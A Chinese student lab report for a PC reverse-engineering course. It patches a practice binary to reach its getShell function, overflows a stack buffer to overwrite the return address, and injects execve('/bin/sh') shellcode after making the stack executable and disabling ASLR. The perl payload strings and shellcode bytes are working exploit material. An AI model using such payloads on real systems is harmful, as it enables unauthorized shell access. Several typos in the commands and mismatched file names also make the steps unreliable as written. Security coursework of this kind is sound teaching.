Exp1 PC平台逆向破解 Week2 - 20165229

Exp1 PC平台逆向破解 Week2 - 20165229

### 实验准备

  1. 复习Linux基本操作
  2. 将pwn1传到kali中,并备份


知识点描述

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。

  • NOP-90
  • JNE-75
  • JE-74
  • JMP-eb
  • CMP-39


实验目的

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


任务一

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

1.输入objump -d pwn1反汇编pwn1文件。

图一

反汇编结束后:main函数中有个一步call 804891<fool>,call的机器吗为e808048491是foo函数地址,getshell地址函数为804847d是我们的跳转目标。通过计算其关系(小端机器)。

0x08048491 -0x0804847d =0x00000014 //计算地址差
0xffffffd7 -ox00000014 = 0xffffffc3 //计算要修改的目标地址

2.输入``vi pwn1```打开文件进行编辑。出现乱码

图二
3.输入命令:%xxd将文件转换为16进制查看。
4.使用/d7命令寻找e8dffffff机器指令所在位置查看。
5.找到后,输入i 进行插入,将d7改为c3

图三
5.修改完后输入:%!xxdd -r将文件转回ASII码值。可能无法保存,需要输入!wq,强制保存
6.返回终端后输入指令objdump 0d pwm1进行查看,发现文件已经被修改。

图四
7.分别执行两个文件,发现结果不同,实验成功。

图五



实验二

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

图六(栈的示意)

实验步骤

1.使用命令gdbfile pwn2载入pwn1.
2.输入r执行pwn2
3.程序正常执行,手动输入一个长36字符的数据abcdefghijklmnopqrstuvwxyz1233456789后回车,发生错误segmentation fault``` 0x303938337 in ??()


图七

4.使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

图八



任务三

注入一个自己制作的shellcode并运行这段shellcode。

  • shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    实验步骤

    1.安装execstack。输入指令apt-get intall execstack并设置堆栈可执行:
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3//设置文件的堆栈是否可执行

2.关闭随机地址

'echo "0" > /proc/sys/kernel/randomize_va_space

3.构造一个input_shellcode

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

4.打开一个新窗口
5.在一个窗口运行(cat input_shellcode;cat) | ./pwn3,另一个运行ps -ef | grep pwn能看见pwn3进程号为4424。

图九

6.在gdb中进行调试attach 4424
7.disassemble foo反汇编。
8.设置断点b *0x080484ae
9.gdb调试中输入c继续运行
10.info r esp查看esp寄存器
11./x16 0xffffd28c


图十

12.oxffffd28c+0x00000004=0xffff290
12.修改代码覆盖地址

perl -e 'print "A" x 32;print "\x90\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

13.输入指令(cat input_shellcode;cat) | ./pwn3

图十一
攻击成功



实验中遇到的问题

bash: ./pwn1: 权限不够
解决办法:chmod +x pwn1即可。

猜你喜欢

转载自www.cnblogs.com/zkkj/p/10548279.html